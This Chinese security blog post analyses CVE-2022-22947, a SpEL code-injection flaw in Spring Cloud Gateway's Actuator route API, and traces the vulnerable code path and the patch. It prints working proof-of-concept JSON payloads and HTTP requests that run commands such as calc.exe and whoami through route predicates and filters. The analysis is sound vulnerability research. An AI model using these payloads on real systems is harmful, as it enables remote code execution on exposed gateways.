查看原文
其他

原创 | Spring Cloud GateWay CVE-2022-22947 SPEL RCE

Whippet SecIN技术平台 2024-05-25

点击蓝字




关注我们



漏洞简介


Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关。网关作为流量的,在微服务系统中有着非常作用,网关常见的功能有路由转发、权限校验、限流控制等作用。当启用、暴露和不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。


影响版本


  • Spring Cloud Gateway

    • 3.1.0

    • 3.0.0 to 3.0.6

    • 旧的不受支持的版本


漏洞分析


Predicate

通过 github 上的 commits 记录,定位到漏洞修补代码 如果想要利用 github 比较两个版本的差异,可以构造链接

https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split

spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue中利用 GatewayEvaluationContext 替换了原本的 StandardEvaluationContext来执行spel 表达式

GatewayEvaluationContext 实际上调用的是 SimpleEvaluationContext方法
StandardEvaluationContext 和 SimpleEvaluationContext都是执行 Spring 的 SpEL 表达式的接口。

SpEL 提供的两个 EvaluationContext ,区别如下:

  • SimpleEvaluationContext

    -针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。


  • StandardEvaluationContext

    - 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java类型引用、构造函数 和 bean引用。所以说指定正确 EvaluationContext ,是防止SpEl表达式注入漏洞产生的首选。


因为采用 StandardEvaluationContext 而产生的 SpEL 注入 也存在历史漏洞 CVE-2018-1273 


对 SpEL 的深入了解可以查看这篇文章 SpEL injection
我们下载 3.1.0 的代码 进行分析,定位到漏洞触发点

org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue

可以看到判断 rawValue 的值不为空且以 #{ 为开头 } 为结尾时,会进入到不安全的 SpEL 解析方法。


寻找调用 getValue 的位置,四处均在 ShortcutConfigurable 的接口类中的 枚举类ShortcutType 中

枚举类ShortcutType 的三个枚举值中重写了 normalize方法

org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize

全局搜索 ShortcutType找出其中调用 normalize 方法

org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

通过分析代码可知 normalizeProperties 中所对应的 this.properties 就对应着最终 SpEL 表达式中的内容

normalizeProperties 是对 filter 的属性进行解析,会将 filter 的配置属性传入 normalize 中,最后进入 getValue 执行 SpEL 表达式造成 SpEL 表达式注入。

向上寻找 normalizeProperties 的调用

org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#bind
org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#lookup

properties 的值由 predicate.getArgs()赋予

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#combinePredicates

最后的触发与路由对应的 Predicate 有关,spring cloud gateway 通过谓词(Predicate)来匹配来自用户的请求,不同的谓词对应着不同的效果。


我们在配置文件中添加对应的 SpEL 表达式就可以触发漏洞

但是通过修改配置文件能叫 RCE 吗

所以还是要正向分析,spring-cloud-gateway 可以通过 Actuator API 在网关中创建和删除路由

{ "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0}
添加路由信息完成后,还需要进行刷新
http://127.0.0.1:8080/actuator/gateway/refresh

回显方法

{ "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0}

Filters

在另一条链路中发现,通过路由对应的 Filters 也是可以触发漏洞org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters

所以通过构造这样的 poc 也是可以的

{"id":"first_route","predicates": [],"filters":[ { "name":"RewritePath", "args":{ "test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}" } }], "uri": "https://www.uri-destination.org", "order": 0}

详细分析一下为什么需要如此构造

org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save

添加路由时会调用 
validateRouteDefinitionorg.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#validateRouteDefinition
org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#isAvailable(org.springframework.cloud.gateway.filter.FilterDefinition)

会判断 Filters 对应的 name 是否存在

  • anyMatch:判断的条件里,任意一个元素成功,返回true
  • allMatch:判断条件里的元素,所有的都是,返回true
  • noneMatch:与allMatch相反,判断条件里的元素,所有的都不是,返回true

for(int i=0;i<this.GatewayFilters.size();i++){     System.out.println(GatewayFilters.get(i).name()); }

name 满足其中的任意一个都是可以的


回显方法

org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory

将配置内容添加到了响应请求头

{ "id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}" } }], "uri": "http://example.com"}

除此之外,这些都是可以的

AddRequestHeaderMapRequestHeaderAddResponseHeaderSetRequestHeader...


漏洞复现


POST /actuator/gateway/routes/testing HTTP/1.1Host: 127.0.0.1:8080Content-Type:application/jsonContent-Length: 187

{"id":"testing","filters":[ { "name":"RewritePath", "args":{ "test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}" } }]}

POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1:8080Content-Type:application/json



往期推荐



原创 | 从KCON2022议题来看fastjson新版本RCE

原创 | 网鼎杯ezjava利用分析

原创 |VMWare Workspace ONE Access Auth Bypass




继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存